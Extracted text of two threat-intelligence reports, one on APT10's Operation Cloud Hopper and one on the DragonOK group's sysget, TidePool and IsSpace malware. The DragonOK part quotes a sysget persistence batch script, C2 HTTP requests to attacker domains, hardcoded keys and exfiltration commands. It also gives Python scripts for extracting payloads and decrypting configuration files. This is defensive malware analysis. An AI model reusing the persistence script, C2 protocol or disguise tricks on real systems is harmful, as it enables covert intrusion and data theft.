+14 http://www.meiji.ac.jp/isc/information/2016/6t5h7p00000mjbbr.html
+15 http://www.chuo-u.ac.jp/research/rd/grant/news/2017/01/51783/
+Operation Cloud Hopper
+APT10 simultaneously targets both low profile and high value
+systems to gain network persistence and a high level of access
+respectively. For example, in addition to compromising high
+value domain controllers and security servers, the threat actor
+has also been observed identifying and subsequently
+installing malware on low profile systems that provide
+non-critical support functions to the business, and are thus
+less likely to draw the attention of system administrators.
+As part of the long-term access to victim networks, we have
+observed APT10 consistently install updates and new
+malware on compromised systems. In the majority of
+instances APT10 used either a reverse shell or RDP connection
+to install its malware; the actor also uses these methods to
+propagate across the network.
+Using these techniques, APT10 
+pushes
+ data from victim
+networks to other networks they have access to, such as other
+MSP or victim networks, then, using similar methods, 
+pulls
+the data from those networks to locations from which they
+can directly obtain it, such as the threat actor
+s C2 servers.
+APT10
+s ability to bridge networks can therefore be
+summarized as:
+ Use of legitimate MSP credentials to management systems
+which bridge the MSP and multiple MSP customer
+networks;
+ Use of RDP to interactively access systems in both the MSP
+management network and MSP customer networks;
+ Use of t.vbs to execute command line tools; and,
+ Use of PSCP and Robocopy to transfer data.
+Communication checks are usually conducted using native
+Windows tools such as ping.exe, net.exe and tcping.exe. The
+actor will frequently 
+net use
+ to several machines within
+several seconds, connecting for as little as five seconds, before
+disconnecting. Further details are provided in Annex B.
+Network hopping and
+exfiltration
+Once APT10 have a foothold in victim networks, using either
+legitimate MSP or local domain credentials, or their sustained
+malware such as PlugX, RedLeaves or Quasar RAT, they will
+begin to identify systems of interest.
+The operator will either access these systems over RDP, or
+browse folders using Remote Access Trojan (RAT)
+functionality, to identify data of interest. This data is then
+staged for exfiltration in multi-part archives, often placed in
+the Recycle Bin, using either RAR or TAR. The compression
+tools are often launched via a remote command execution
+script which is regularly named 
+t.vbs
+ and is a customised
+version of an open source WMI command executor which
+pipes the command output back to the operator.
+We have observed these archives being moved outside of the
+victim networks, either back into to the MSP environments or
+to external IP addresses in two methods, which are also
+performed via the command line using t.vbs:
+1. Mounting the target external network share with 
+net use
+and subsequently using the legitimate Robocopy tool to
+transfer the data; and,
+2. Using the legitimate Putty Secure Copy Client (PSCP),
+sometimes named rundll32.exe, to transfer the data
+directly to the third party system.
+Operation Cloud Hopper
+APT10 malware
+We classify APT10
+s malware into two distinct areas: tactical
+and sustained. The tactical malware, historically EvilGrab,
+and now ChChes (and likely also RedLeaves), is designed to be
+lightweight and disposable, often being delivered through
+spear phishing. Once executed, tactical malware contains the
+capability to profile the network and manoeuvre through it to
+identify a key system of interest. The sustained malware,
+historically Poison Ivy, PlugX and now Quasar provides a more
+comprehensive feature set. Intended to be deployed on key
+systems, the sustained malware facilitates long-term remote
+access and allows for operators to more easily carry out
+administration tasks.
+Since late 2016, we have seen the threat actor develop several
+bespoke malware families, such as ChChes and RedLeaves.
+Additionally, it has taken the open source malware, Quasar,
+and extended its capabilities, ensuring the incrementation of
+the internal version number as it does so.
+We have also observed APT10 use DLL search order hijacking
+and sideloading, to execute some modified versions of
+open-source tools. For example, PwC UK has observed APT10
+compiling DLLs out of tools, such as MimiKatz and PwDump6,
+and using legitimate, signed software, such as Windows
+Defender to load the malicious payloads.
+In Annex B we provide detailed analysis of several of the
+threat actor
+s tools as well as the common Windows tools we
+have observed being used.
+Timeline
+Figure 17: Timeline of APT10 malware use
+2009
+2010
+2011
+2012
+2013
+2014
+2015
+2016
+2017
+Poison Ivy
+PlugX
+EvilGrab
+ChChes
+Quasar
+RedLeaves
+Retooling Efforts
+Alongside APT10
+s TTPs, we have observed a 
+retooling
+ cycle.
+Given the pace of technological change and the wide range of
+freely available online tools and scripts, it is not unusual for
+an actor to re-evaluate its capabilities and to benchmark
+multiple offerings against each other. We have observed a
+decline in the deployment of some of APT10
+s traditional core
+tool set, and witnessed an increase in the development and
+deployment of additional new tools which combine in-house
+development and open source projects. We assess that this is
+highly likely due to the public release of APT10 malware by
+cyber security vendors.
+During our analysis of victim networks, we were able to
+observe APT10 once again initiate a retooling cycle in late
+2016. We observed the deployment and testing of multiple
+versions of Quasar malware,16 and the introduction of the
+bespoke malware families ChChes and RedLeaves.
+We assess it is highly likely that due to the frequent public
+release of information linking PlugX with China-based threat
+actors, continual long-term use had become unsustainable,
+introducing an additional operational overhead that is easily
+attributable to China-based threat actors.
+Throughout our investigations, we have observed multiple
+deployments of the PlugX malware from 2014 to at least 2016.
+This, along with the downturn in the use of Poison Ivy,
+supports the notion that a major retooling operation took
+place post 2014. Additional analysis of the infrastructure
+associated with each distinct version of PlugX also shows an
+increase in maturity over time. Earlier PlugX versions were
+configured with legacy domains and IP addresses, which were
+originally isolated and more obvious, whereas more recent
+versions have demonstrated a standardised convention for
+domain names and IP selection.
+16 https://github.com/quasar/QuasarRAT
+Operation Cloud Hopper
+Conclusion
+APT10 is a constantly evolving, highly
+persistent China-based threat actor that
+has an ambitious and unprecedented
+collection programme against a broad
+spectrum of sectors, enabled by its
+strategic targeting.
+Since exposure of its operations in 2013, APT10 has made a
+number of significant changes intended to thwart detection of
+its campaigns. PwC UK and BAE Systems, working closely
+with industry and government, have uncovered a new,
+unparallelled campaign which we refer to as Operation Cloud
+Hopper. This operation has targeted managed IT service
+providers, the compromise of which provides APT10 with
+potential access to thousands of further victims. An additional
+campaign has also been observed targeting Japanese entities.
+APT10
+s malware toolbox shows a clear evolution from
+malware commonly associated with China-based threat actors
+towards bespoke in-house malware that has been used in
+more recent campaigns; this is indicative of APT10
+increasing sophistication, which is highly likely to continue.
+The threat actor
+s known working hours align to Chinese
+Standard Time (CST) and its targeting corresponds to that of
+other known China-based threat actors, which supports our
+assessment that these campaigns are conducted by APT10.
+This campaign serves to highlight the importance of
+organisations having a comprehensive view of their threat
+profile, including that of their supply chain
+s. More broadly,
+it should also encourage organisations to fully assess the
+risk posed by their third party relationships, and prompt
+them to take appropriate steps to assure and manage these.
+A detailed technical annex supplements this main report,
+which provides further information about the tools and
+techniques used by APT10 and contains Indicators of
+Compromise relating to all of this threat actor
+s known
+campaigns. These have already been provided to the National
+Cyber Security Centre for dissemination through their usual
+channels.
+Operation Cloud Hopper
+Appendices
+Operation Cloud Hopper
+Appendix A
+Collaboration between PwC UK and BAE Systems
+PwC and BAE Systems
+ respective Threat Intelligence teams share a mutual interest in new cyber threats. PwC and BAE
+Systems partnered through their membership of the Cyber Incident Response (CIR) scheme to share intelligence and develop
+the most comprehensive picture possible of this threat actor
+s activities. Information sharing like this underpins the security
+research community and serves to aid remediation and inform decisions that companies make about their security needs.
+Probabilistic language
+Interpretations of probabilistic language (for example, 
+likely
+ or 
+almost certainly
+) vary widely, and to avoid
+misinterpretation we have used the following qualitative terms within this report when referring to the level of confidence we
+have in our assessments. Unless otherwise stated, our assessments are not based on statistical analysis.
+Table 4: Probabilistic language
+Qualitative term
+Associated probability range
+Remote or highly unlikely
+Less than 10%
+Improbable or unlikely
+10-25%
+Realistic probability
+26-50%
+Probable or likely
+51-75%
+Highly probable or highly likely
+76-90%
+Almost certain
+More than 90%
+Operation Cloud Hopper
+Appendix B
+PwC UK reporting
+PwC UK Threat Intelligence has previously published a range
+of APT10 related reporting, both in the public domain and via
+our subscription service. These reports are as follows:
+ APT10 resumes operations with a vengeance, in
+Threats Under the Spotlight 
+ CTO-TUS-20170321-01A
+ NetEaseX and the Secret Key to Lisboa 
+ CTO-TIB20170313-01A 
+ BlackDLL
+ APT10
+s .NET Foray 
+ CTO-TIB-20170301-01B 
+ Quasar
+ APT10 pauses for Chinese New Year, in Threats Under
+the Spotlight 
+ CTO-TUS-20170220-01A
+ CVNX
+s sting in the tail 
+ CTO-TIB-20170123-01A 
+ChChes (Scorpion) Malware
+ China and Japan: APT to dispute -CTO-SIB-2017011901A
+ Taiwan Presidential Election: A Case Study on
+Thematic Targeting, http://pwc.blogs.com/cyber_
+security_updates/2016/03/taiwant-election-targetting.
+html, published 2016-03-17. Overview of EvilGrab and it
+being used against Asian targets, specifically around the
+2016 Taiwanese election
+ Scanbox II 
+ CTO-TIB-20150223-01A
+IST-Red Apollo-002 
+ Red Apollo Tearsheet
+Third party reports
+A number of organisations have also published related
+reporting, as follows:
+ RedLeaves 
+ Malware Based on Open Source RAT
+ http://blog.jpcert.or.jp/2017/04/redleaves---malwarebased-on-open-source-rat.html 
+ Further technical
+reporting on RedLeaves, revealing links to an open source
+RAT.
+ The relevance between the attacker group menuPass
+and malware (Poison Ivy, PlugX, ChChes), https://
+www.lac.co.jp/lacwatch/people/20170223_001224.html,
+published 2017-02-23. Links APT10 to ChChes, Poison Ivy
+and PlugX.
+ menuPass Returns with New Malware and New
+Attacks Against Japanese Academics and
+Organizations, http://researchcenter.paloaltonetworks.
+com/2017/02/unit42-menupass-returns-new-malwarenew-attacks-japanese-academics-organizations/,
+published 2017-02-16. APT10 attacks on Japanese
+academics. Includes info on ChChes (technical), Poison Ivy
+and PlugX.
+ ChChes 
+ Malware that Communicates with C&C
+Servers Using Cookie Headers, http://blog.jpcert.or.
+jp/2017/02/chches-malware--93d6.html, published
+2017-02-15. Technical overview of ChChes malware with
+IOCs.
+ PlugX TrendMicro 
+tearsheet
+, https://www.
+trendmicro.com/vinfo/us/threat-encyclopedia/malware/
+plugx, published 2016-09-07. Technical info and IOCs for
+PlugX.
+ A Detailed Examination of the Siesta Campaign,
+https://www.fireeye.com/blog/
+threat-research/2014/03/a-detailed-examination-of-thesiesta-campaign.html, published 2014-03-12. Provides a
+detailed analysis of activity dubbed the Siesta campaign.
+ POISON IVY: Assessing Damage and Extracting
+Intelligence, https://www.fireeye.com/content/dam/
+fireeye-www/global/en/current-threats/pdfs/rpt-poisonivy.pdf, published 2013-08-21. Technical report on Poison
+Ivy and campaigns that have used it, including menuPass.
+ EvilGrab Malware Family Used In Targeted Attacks In
+Asia, http://blog.trendmicro.com/trendlabs-securityintelligence/evilgrab-malware-family-used-in-targetedattacks-in-asia/, published 2013-09-18. Technical
+overview of EvilGrab.
+ CrowdCasts Monthly: You Have an Adversary Problem,
+https://www.slideshare.net/CrowdStrike/crowd-castsmonthly-you-have-an-adversary-problem, published
+2013-10-16, a presentation on Chinese actors including
+APT, crime and hacktivist. Includes section on Stone
+Panda (APT10).
+ PlugX: New Tool For a Not So New Campaign, http://
+blog.trendmicro.com/trendlabs-security-intelligence/
+plugx-new-tool-for-a-not-so-new-campaign/, published
+2012-09-10. Gives an introduction to PlugX.
+ Pulling the Plug on PlugX, https://www.trendmicro.
+com/vinfo/us/threat-encyclopedia/web-attack/112/
+pulling-the-plug-on-plugx, published 2012-08-04. Gives a
+technical overview of PlugX and what it is used for.
+Operation Cloud Hopper
+About PwC
+At PwC, our purpose is to build trust in society and solve important
+problems. We
+re a network of firms in 157 countries with more than
+223,000 people who are committed to delivering quality in assurance,
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+PwC UK
+s cyber security team is a part of this mission, helping clients
+around the world to assess, build and manage their cyber security
+capabilities and to identify and respond to incidents through a range
+of services including threat intelligence, threat detection and incident
+response.
+We are BAE Systems
+At BAE Systems, we provide some of the world
+s most advanced
+technology defence, aerospace and security solutions.
+At BAE Systems Applied Intelligence, we help nations,
+governments and businesses around the world defend
+themselves against cybercrime, reduce their risk in the
+connected world, comply with regulation, and transform their
+operations. We do this using our unique set of solutions,
+systems, experience and processes 
+ often collecting and
+analysing huge volumes of data.
+This publication has been prepared for general guidance on matters of interest only, and does not constitute professional advice. You should not act
+upon the information contained in this publication without obtaining specific professional advice. No representation or warranty (express or implied) is
+given as to the accuracy or completeness of the information contained in this publication, and, to the extent permitted by law, PricewaterhouseCoopers
+LLP, its members, employees and agents do not accept or assume any liability, responsibility or duty of care for any consequences of you or anyone else
+acting, or refraining to act, in reliance on the information contained in this publication or for any decision based on it.
+ 2017 PricewaterhouseCoopers LLP. All rights reserved. In this document, 
+ refers to the UK member firm, and may sometimes refer to the PwC
+network. Each member firm is a separate legal entity. Please see www.pwc.com/structure for further details.
+170328-155605-GC-UK
+DragonOK Updates Toolset and Targets Multiple Geographic
+Regions
+researchcenter.paloaltonetworks.com/2017/01/unit42-dragonok-updates-toolset-targets-multiple-geographic-regions/
+By Josh Grunzweig
+1/5/2017
+The DragonOK group has been actively launching attacks for years. We first discussed them in April 2015 when we
+witnessed them targeting a number of organizations in Japan. In recent months, Unit 42 has observed a number of
+attacks that we attribute to this group. Multiple new variants of the previously discussed sysget malware family have
+been observed in use by DragonOK. Sysget malware was delivered both directly via phishing emails, as well as in
+Rich Text Format (RTF) documents exploiting the CVE-2015-1641 vulnerability (patched in MS15-033) that in turn
+leveraged a very unique shellcode. Additionally, we have observed instances of the IsSpace and TidePool malware
+families being delivered via the same techniques. While Japan is still the most heavily targeted geographic region by
+this particular actor, we also observed instances where individuals or organizations in Taiwan, Tibet, and Russia also
+may have been targeted.
+Infiltration
+We observed two unique techniques of infiltration for this particular campaign:
+1. Phishing emails being sent with malicious executables directly attached
+2. Malicious RTF files which exploit CVE-2015-1641.
+The phishing emails had the following characteristics:
+Email Subjects
+Pickup at the Juanda Airport (1-Sep)
+ [Roughly Translated: Point gift announcement]
+ [Roughly Translated: 20th Anniversary Party]
+ [Roughly Translated: List of participants
+ 10th anniversary alumni
+association]
+ [Roughly Translated: Children
+s investigation]
+G20 report
+ [Roughly Translated: Anniversary reunion]
+ [Roughly Translated: Recent personnel change notice]
+Attachment Filenames
+G20 report.exe
+List of Participants.exe
+Registration form.exe
+These emails targeted the following industries in Japan:
+Manufacturing
+1/23
+Higher Education
+Energy
+Technology
+Semiconductor
+The malicious RTF files in question leverage a very specific shellcode to drop and execute the malicious payload,
+as well as a decoy document. Decoy documents are legitimate benign documents that are opened after the
+malicious payload is delivered, thus ensuring that the victim does not become suspicious because their expected
+document opened as expected.
+Two samples were found to include the decoy document show in Figure 1.
+The title of the document roughly translates to 
+Ministry of Communications & Departments Authorities Empty Sites
+and Hosted Public Works Source Clearance Photos
+. The use of traditional Chinese indicators the target likely
+residing in either Taiwan, Hong Kong, or Macau. However, based on the Taiwanese subject matter in this document,
+we can safely come to the conclusion that the intended victim was of Taiwanese origin. These samples delivered an
+updated version of the IsSpace malware family, which was discussed previously in a watering hole attack targeting
+an aerospace firm. IsSpace is an evolved variant of the NFlog backdoor, which has been used by DragonOK in the
+past.
+2/23
+Figure 1 Taiwanese decoy document
+3/23
+Two other samples were identified that used a Tibet-themed decoy document. The document in question (Figure 2)
+appears to be an internal newsletter from the Central Tibetan Ministry, as suggested by the logo used as well as the
+content of the document itself. This document indicates that the malware may have been targeted towards an
+individual that is interested in Tibetan affairs. These particular samples were unique in that they delivered the
+TidePool malware family that we reported on in May of 2016. We have not previously observed DragonOK using
+TidePool in attacks.
+Figure 2 Tibetan decoy document containing internal newsletter
+We also identified an additional sample using decoy targeting Taiwanese victims (Figure 3), which deployed a newer
+sysget sample.
+4/23
+Figure 3 Taiwanese-targeted decoy document
+Other new samples associated with this group used a Russian language decoy document (Figure 4.) The decoy
+document in question discusses the GOST block cipher, which was created by the Russian government in the
+1970
+s. The combination of Russian language and Russian-specific subject matter indicates that the intended victim
+speaks Russian and may be interested in encryption. Like the previously discussed Tibetan decoy documents, these
+samples also delivered the TidePool malware family.
+5/23
+6/23
+Figure 4 Russian decoy document discussing the GOST block cipher
+Finally, multiple samples used a traditional Chinese language decoy document that discussed a subsidy welfare
+adjustment program. The use of traditional Chinese indicators the target likely residing in either Taiwan, Hong Kong,
+or Macau. Similar to other attacks witnessed, a variant of the sysget malware family is installed by these files.
+7/23
+Figure 5 Decoy document discussing subsidy welfare adjustment program
+Malware Deployed
+In looking at the various malware samples used in attempted attacks, the following four families were identified:
+Sysget version 2
+Sysget version 3
+TidePool
+IsSpace
+We broke the sysget classification into multiple variants when we found that a number of changes have been made
+since our April 2015 report. Major distinctions between the versions of sysget include the following:
+Sysget version 2
+Removed support for persistence on Windows XP
+Reworked the URIs used for network communication
+Added additional layers of encryption for network communication and stored configuration files
+Switched from RC4 to AES-128
+Sysget version 3
+Numerous anti-debug and anti-vm procedures added
+Encrypted URIs in network communication with an initial static key
+In addition, we observed a sysget version 4 that was discovered in another sample during our research. This
+version is not attributed to a specific attack against an organization.
+Indicators of compromise related to sysget version 4 and other samples not directly attributed to specific attacks
+may be found in the Appendix of this blog post. Additionally, more information about the various sysget variants may
+also be found in the Appendix.
+The TidePool samples encountered are consistent with the samples previously discussed. I encourage readers to
+view our previous blog post to learn more about the intricacies of this particular malware family.
+The IsSpace malware sample, however, looks to have been updated since last we wrote on it. While the available
+commands from the command and control (C2) server remains the same, the URI structure of the network
+communication has been modified. Additionally, the installation routine for this malware family has been updated to
+be far less complex than previous discussed versions, favoring PowerShell to set persistence and forgoing the
+previously used side-loading technique. A more detailed analysis of the new instances of IsSpace may be found at
+the end of this blog post in the Appendix.
+Infrastructure
+A number of unique domains were employed by the various Trojans used in these attacks. For the numerous
+instances of sysget we observed, the following domains were observed for their C2:
+kr44.78host[.]com
+gtoimage[.]com
+8/23
+gogolekr[.]com
+All of the above domains have Chinese WHOIS registrant details. Additionally, the gotoimage[.]com and
+trend.gogolekr[.]com are both registered to the same registrant and resolve to the same netblock of
+104.202.173.0/24.
+The instances of TidePool identified communicated with the following C2 servers:
+europe.wikaba[.]com
+russiaboy.ssl443[.]org
+cool.skywave[.]top
+These domains did not have many definitive relations with the sysget C2 servers except for cool.skywave[.]top,
+which shared a unique registrant email with the sysget C2 server of trend.gogolekr[.]com. Additionally, the
+geographic region of the resolved IPs was consistent with the previous set, as they all resolved to various regions in
+southeast Asia. Specifically, the domains resolved to China, Korea, and Taiwan in the past six months.
+The IsSpace samples resolved to the following domains:
+www.dppline[.]org
+www.matrens[.]top
+These domains had no apparent connections to the previously discussed C2 servers, other than the fact that they
+resolved to Korea and Hong Kong respectively. Additionally, the registrar of 
+Jiangsu Bangning Science and
+technology Co. Ltd.
+ was used for a large number of domains. A full graph of the relations between the various
+attacks is shown in Figure 6.
+Figure 6 Relationships between attacks
+9/23
+Conclusion
+The DragonOK group are quite active and continue updating their tools and tactics. Their toolset is being actively
+developed to make detection and analysis more difficult. Additionally, they appear to be using additional malware
+toolsets such as TidePool. While Japan is still the most-targeted region by this group, they look to be seeking out
+victims in other regions as well, such as Taiwan, Tibet, and Russia.
+Palo Alto Network customers are protected against this threat in the following ways:
+Malware families are tagged in AutoFocus via a variety of tags ( TidePool, NFlog, Sysget)
+The following IPS signatures detect malicious network traffic:
+IPS signature 14365 (IsSpace.Gen Command And Control Traffic)
+IPS signature 14588 (Suspicious.Gen Command And Control Traffic)
+IPS signature 13574 (NfLog.Gen Command And Control Traffic)
+IPS signature 13359 (Nflog.Gen Command And Control Traffic)
+All samples are appropriately marked malicious in WildFire
+Appendix
+CVE-2015-1641 Exploit and Shellcode
+This particular group uses a very specific shellcode payload when exploiting CVE-2015-1641. This CVE is memory
+corruption vulnerability which allows for arbitrary code execution in various versions of Microsoft Office, including
+2007, 2010, and 2013.
+The shellcode begins by dynamically loading a small number of API functions from kernel32. A number of hashes
+are included that represent function names, which have a rotate right 7 (ROR7) operation applied against them
+before being XORed against a key of 
+\x10\xAD\xBE\xEF
+. The ROR7 operation is a very common technique in
+shellcode to obfuscate what functions are being called. The author added the XOR operation to add another layer of
+obfuscation.
+Figure 7 API function hashes contained in shellcode
+10/23
+After the shellcode loads the necessary API functions, it proceeds to seek out a number of markers that will mark the
+beginning and ending of both an embedded malicious payload, as well as a decoy document.
+The malicious executable is marked with a starting point of 0xBABABABABABA and an end marker of
+0xBBBBBBBB. The decoy document is found immediately after the end of the malicious payload, and has an end
+marker of 0xBCBCBCBC. Both executables are encrypted with a 4-byte XOR key. Should the original data contain
+0x00000000, it will not have the XOR applied against it.
+The malicious payload is XORed against a key of 0xCAFEBEEF and the decoy document is XORed against
+0xBAADF00D. The following script may be applied against the RTF document to extract both the malicious payload
+and the decoy:
+import sys, binascii
+from itertools import cycle, izip
+import re
+def xor(message, key):
+return ''.join(chr(ord(c)^ord(k)) for c,k in izip(message, cycle(key)))
+def decrypt(data, key):
+output = ""
+iteration = 4
+position = 0
+while True:
+window = data[position:position+iteration]
+if window == "\x00\x00\x00\x00":
+output += window
+else:
+output += xor(window, key)
+position += iteration
+if position == len(data) or position > len(data):
+break
+return output
+def extract(data):
+exe_data, doc_data = None, None
+exe_starting_point = data.index("\xBA\xBA\xBA\xBA\xBA\xBA") + 6
+exe_ending_point = None
+ending_points = [m.start() for m in re.finditer("\xBB\xBB\xBB\xBB", data)]
+for e in ending_points:
+if e > exe_starting_point:
+exe_ending_point = e
+if exe_starting_point and exe_ending_point:
+mz_data = data[exe_starting_point:exe_ending_point]
+exe_data = decrypt(mz_data, "\xBE\xBA\xFE\xCA")
+else:
+raise Exception("Unable to find correct offsets for executable." )
+doc_starting_point = exe_ending_point + 4
+doc_ending_point = None
+ending_points = [m.start() for m in re.finditer("\xBC\xBC\xBC\xBC", data)]
+for e in ending_points:
+if e > doc_starting_point:
+doc_ending_point = e
+if doc_starting_point and doc_ending_point:
+11/23
+doc = data[doc_starting_point:doc_ending_point]
+doc_data = decrypt(doc, "\x0D\xF0\xAD\xBA")
+else:
+raise Exception("Unable to find correct offsets for document.")
+return [exe_data, doc_data]
+def main():
+input_file = sys.argv[1]
+input_fh = open(input_file, 'rb')
+input_data = input_fh.read()
+input_fh.close()
+exe, doc = extract(input_data)
+filename = "{}.exe".format(input_file)
+output_file = open(filename, 'wb')
+output_file.write(exe)
+output_file.close()
+print "[+] Wrote {}".format(filename)
+filename = "{}.doc".format(input_file)
+output_file = open(filename, 'wb')
+output_file.write(doc)
+output_file.close()
+print "[+] Wrote {}".format(filename)
+if len(sys.argv) == 2 and __name__ == "__main__":
+main()
+When both files are decrypted, they are written to the following location in the %TEMP% directory:
+../..exe
+../..doc
+Note the initial 
+, which represents the parent directory of %TEMP%. This coupled with the unusual names of ..exe
+and ..doc make this particular shellcode very unique, which is one way we have attributed these samples to the
+same group. After the samples have been written, they are executed via calls to WinExec.
+Sysget v2 Analysis
+One of the fundamental changes witnessed in the second iteration of sysget is removing support for Windows XP
+and lower. Other changes include modifications to the URIs used for network communication.
+Like the original version of sysget, sysget v2 still uses a named event of 
+mcsong[]
+ to ensure a single instance is
+running at a time. It proceeds to make attempts at copying itself to the %STARTUP%/notilv.exe path. However, it
+uses COM objects to perform this action that is not available in Windows XP, which prevents the malware from
+installing itself to this location. While the remainder of the malware operates as expected, it will not survive a restart
+of the system.
+Sysget proceeds to make an attempt at reading the following configuration file. This filename and path has changed
+since the original version, and is consistent in the subsequent versions.
+%APPDATA%/vklCen5.tmp
+This configuration file holds both a unique victim identifier, as well as a key that is used to encrypt HTTP traffic. It is
+12/23
+encrypted using the AES-128 encryption algorithm, using a static key of 
+734thfg9ih
+. Using AES-128 is a change
+from the previous version, where RC4 was used for all encryption operations. The following Python code may be
+used to decrypt this file:
+import sys
+import base64
+from wincrypto import CryptCreateHash, CryptHashData, CryptDeriveKey, CryptDecrypt
+def decrypt(data, original_key):
+CALG_AES_128 = 0x660E
+CALG_MD5 = 0x8003
+md5_hasher = CryptCreateHash(CALG_MD5)
+CryptHashData(md5_hasher, original_key)
+key = CryptDeriveKey(md5_hasher, CALG_AES_128)
+decrypted_data = CryptDecrypt(key, data)
+return decrypted_data
+arg = open(sys.argv[1], 'rb').read()
+print repr(decrypt(arg, '734thfg9ih'))
+When executed against an example configuration file, we see the following output, which includes the two pieces of
+data noted previously:
+C:\>python decrypt_config.py vklCen5.tmp
+'gh1443717133\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
+x00\x00\x00\x00\x001059086204\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
+x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+The encryption of this configuration file is a new feature that was not present in the original version of sysget.
+If this file is not present on the system, the malware will attempt to retrieve the necessary information via a HTTP
+request. The following request is made to the remote command and control server. Note that the full URI is statically
+set by the malware sample.
+GET /index.php?type=read&id=1420efbd80ce02328663631c8d8f813c&pageinfo=jp&lang=
+utf-8 HTTP/1.1
+Connection: Keep-Alive
+User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like
+Gecko) Chrome/40.0.2214.115 Safari/537.36
+Host: hello.newtaiwan[.]top
+The server responds with the following data, encrypted using the same technique previously described with a static
+key of 
+aliado75496
+. Once decrypted, we see the following example data being sent back to sysget:
+gh1443717133\n1059086204\n
+The first string is used as a key for all subsequent network communication. The second string is treated as a unique
+victim identifier. This data is encrypted using the key of 
+734thfg9ih
+ and written to the %APPDATA%/vklCen5.tmp
+file.
+After this information has been obtained, the malware proceeds to enter its command and control loop. An HTTP
+request such as the following is made to the remote server. Note that the 
+ GET variable holds the MD5 hash of
+the previously obtained victim identifier. The remaining data in the URI is hardcoded.
+13/23
+GET /index.php?type=get&pageinfo=bridge03443&lang=jp&mid=5717cb8fed2750a2ee9e8
+30a30716ed4 HTTP/1.1
+Connection: Keep-Alive
+User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko)
+Chrome/40.0.2214.115 Safari/537.36
+Host: hello.newtaiwan[.]top
+The response is encrypted using the unique key that was obtained previously. Should the response contain 
+Fatal
+error
+ unencrypted, no further actions are taken by the malware sample. Once decrypted, the response may have
+one of the following two choices, and their accompanying purpose. Alternatively, if a raw command is provided, the
+malware will execute it and return the results.
+Command
+Description
+goto wrong 
+[file_path]
+Read a specific file and return its contents.
+goto right 
+[filename]
+[identifier]
+Write a given file. The identifier is used to retrieve the file
+s contents in a
+subsequent HTTP request.
+When the 
+goto wrong
+ request is made, a HTTP POST request is made to the following URI. In the following URI,
+the 
+list
+ parameter contains the MD5 hash of the victim
+s identifier.
+/index.php?type=register&pageinfo=myid32987&list=5717cb8fed2750a2ee9e830a3
+0716ed4
+The contents of this POST request contains the victim
+s identifier, as well as the file
+s contents encrypted with the
+unique key. The first 50 bytes are reserved for the victim identifier, as shown below:
+0000016F 35 37 31 37 63 62 38 66 65 64 32 37 35 30 61 32 5717cb8f ed2750a2
+0000017F 65 65 39 65 38 33 30 61 33 30 37 31 36 65 64 34 ee9e830a 30716ed4
+0000018F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........
+0000019F 00 00 4b 59 bc 53 53 99 2b 6f a7 b5 5a 85 c7 66 ..KY.SS. +o..Z..f
+Once decrypted, the data contains both the filename, as well as the contents of that file.
+test.txt\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[TRUNCATED]\x
+00\x00\x00file contents
+If the 
+goto right
+ command is used, the malware will make a subsequent request to the following URI. The 
+cache
+variable holds the unique identifier that was provided in the 
+goto right
+ command.
+/index.php?type=goto&pageinfo=myid47386&cache=identifier
+Once the file contents are obtained, they are written to the specified filename in the %STARTUP% folder.
+When a raw command is received, the malware will upload the results to the following URI via a POST request:
+/index.php?type=register
+An overview of the network communications exhibited by sysget version 2 can be seen in the figure below.
+14/23
+15/23
+Figure 8 Sysget version 2 command and control flow
+Sysget v3 Analysis
+Some of the biggest changes witnessed in version 3 of sysget includes numerous anti-debug and anti-vm detections
+added, as well as the encryption of the URIs used for network communication.
+When the malware initially executes, it performs the following checks to ensure it is not being debugged and not
+running in a sandbox or virtualized environment.
+Should these checks return false, the malware proceeds to enter its installation routine. The malware originally
+copies itself to a temp file in the %TEMP% directory with a filename prefix of 
+. It proceeds to append 4194304
+bytes of randomly chosen data to the end of this file. The increased filesize may have been added by the author in
+an attempt to thwart sandboxes that impose filesize limits on what is saved and/or processed. Finally, the malware
+copies the original file from the tmp path to the %STARTUP%/winlogon.exe path using the same technique
+witnessed in version 2. Sysget then writes a batch script in the %TEMP% folder with the following contents, cleaning
+up the original files and spawning the newly written winlogon.exe executable:
+@echo off
+timeout 1
+for /f %%i in ('tasklist /FI "IMAGENAME eq [original_executable_name]" ^| find /v /c ""' ) do set YO=%%i
+if %%YO%%==4 goto :t
+del /F "[original_executable_path]"
+del /F "[tmp_file]"
+start /B cmd /c "[startup_winlogon.exe]"
+del /F "[self]"
+exit
+After installation, sysget will attempt to read the same %APPDATA%/vklCen5.tmp file as witnessed in the previous
+variant. A number of strings within the malware, including the 
+734thfg9ih
+ key used to encrypt this file, have been
+obfuscated via a single-byte XOR of 0x5F.
+Similar to previous versions, should this vklCen5.tmp file not be present on the victim machine, it will make an
+external HTTP request to retrieve the necessary information. The following request is made by the malware.
+Readers will notice that the URI has changed from previous versions in a number of ways. This version of sysget
+looks to always make requests to 1.php, which is hardcoded within the malware itself. Additionally, all HTTP URIs in
+this version of sysget are encrypted. The initial GET request made to retrieve the victim identifier and unique key is
+encrypted with a key of 
+Cra%hello-12sW
+. The subsequent response containing this information is then decrypted
+using a key of 
+aliado75496
+, which is consistent with previous versions.
+16/23
+/1.php?K+50lkzq7OtigRtWY7Z5DwkmxRhFd5n3UXyH+Flfa0S8f5h3nl6XBDMa6a3IbDiPQqW
+SwZh7lQRmIPLlC8Wmfr8cGv7raGEV160r73FJjnOfyJPLEKWAIyJnfPZhHdGapA6tfwfwj24TN
+4QbBrMJkVCLPPZoI4HNtdDEo6G3ujjyvkpWnGQnRBi6DzylNrMypV/K6Ft32dsMmmO52q4IdQ==
+HTTP/1.1
+Connection: Keep-Alive
+User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like
+Gecko) Chrome/40.0.2214.115 Safari/537.36
+Host: gtoimage.com
+When the URI above is base64-decoded and subsequently decrypted, we see the following:
+index.php?type=read&id=692fdc3c7b2c310fc017e4af335b8dc8&pageinfo=jp&lang=utf-8
+This URI is consistent with the previous sysget variant. It would seem the authors simply have added this layer of
+encryption to hinder efforts to block the malware via network-based detections.
